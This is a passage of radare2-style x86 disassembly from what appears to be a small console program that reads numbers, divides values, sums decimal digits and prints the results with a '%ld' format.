jmp 0x4e96c8
mov eax, dword [ebp - 0x12b4]
mov dword [ebp - 0x2770], eax
mov eax, dword [ebp - 0x12b4]
dec eax
mov dword [ebp - 0x12b4], eax
cmp dword [ebp - 0x2770], 0
je 0x4e97da
lea eax, [ebp - 0x27ec]
push eax
push 0xac019c
call fcn.004f117c
pop ecx
pop ecx
movsd xmm0, qword [ebp - 0x27ec]
divsd xmm0, qword [ebp - 0x2dc4]
movsd qword [ebp - 0x27ec], xmm0
lea eax, [ebp - 0x2e30]
push eax
lea ecx, [ebp - 0x2a44]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2e44]
push eax
lea ecx, [ebp - 0x2a44]
call fcn.00417af4
push dword [eax]
lea edx, [ebp - 0x27ec]
lea ecx, [ebp - 0x2530]
call fcn.004eae54
pop ecx
pop ecx
lea eax, [ebp - 0x2e38]
push eax
lea ecx, [ebp - 0x2a44]
call fcn.00417af4
push eax
lea ecx, [ebp - 0x2530]
call fcn.004ea126
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e971e
lea ecx, [ebp - 0x2a44]
call fcn.00417aef
lea ecx, [ebp - 0x1b88]
call fcn.00417fe0
mov eax, dword [ebp - 0xdb0]
add eax, dword [ebp - 0xdb8]
xor eax, dword [ebp - 0xdc0]
cdq
mov dword [ebp - 0x27f8], eax
mov dword [ebp - 0x27f4], edx
push dword [ebp - 0x27f4]
push dword [ebp - 0x27f8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e946a
jmp 0x4e9444
jmp 0x4e941e
mov dword [ebp - 0x2778], 0x1465
cmp dword [ebp - 0x2778], 0xde9
jge 0x4e98d2
lea eax, [ebp - 0xdd0]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0xdd0], 9
jle 0x4e98c0
mov eax, dword [ebp - 0xdd0]
mov dword [ebp - 0xdc8], eax
and dword [ebp - 0x12bc], 0
cmp dword [ebp - 0xdc8], 0
jle 0x4e98b2
mov eax, dword [ebp - 0xdc8]
cdq
push 0xa
pop ecx
idiv ecx
add edx, dword [ebp - 0x12bc]
mov dword [ebp - 0x12bc], edx
mov eax, dword [ebp - 0xdc8]
cdq
push 0xa
pop ecx
idiv ecx
mov dword [ebp - 0xdc8], eax
jmp 0x4e987d
mov eax, dword [ebp - 0x12bc]
mov dword [ebp - 0xdd0], eax
jmp 0x4e9861
push dword [ebp - 0xdd0]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
xor eax, eax
jmp 0x4e99fb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10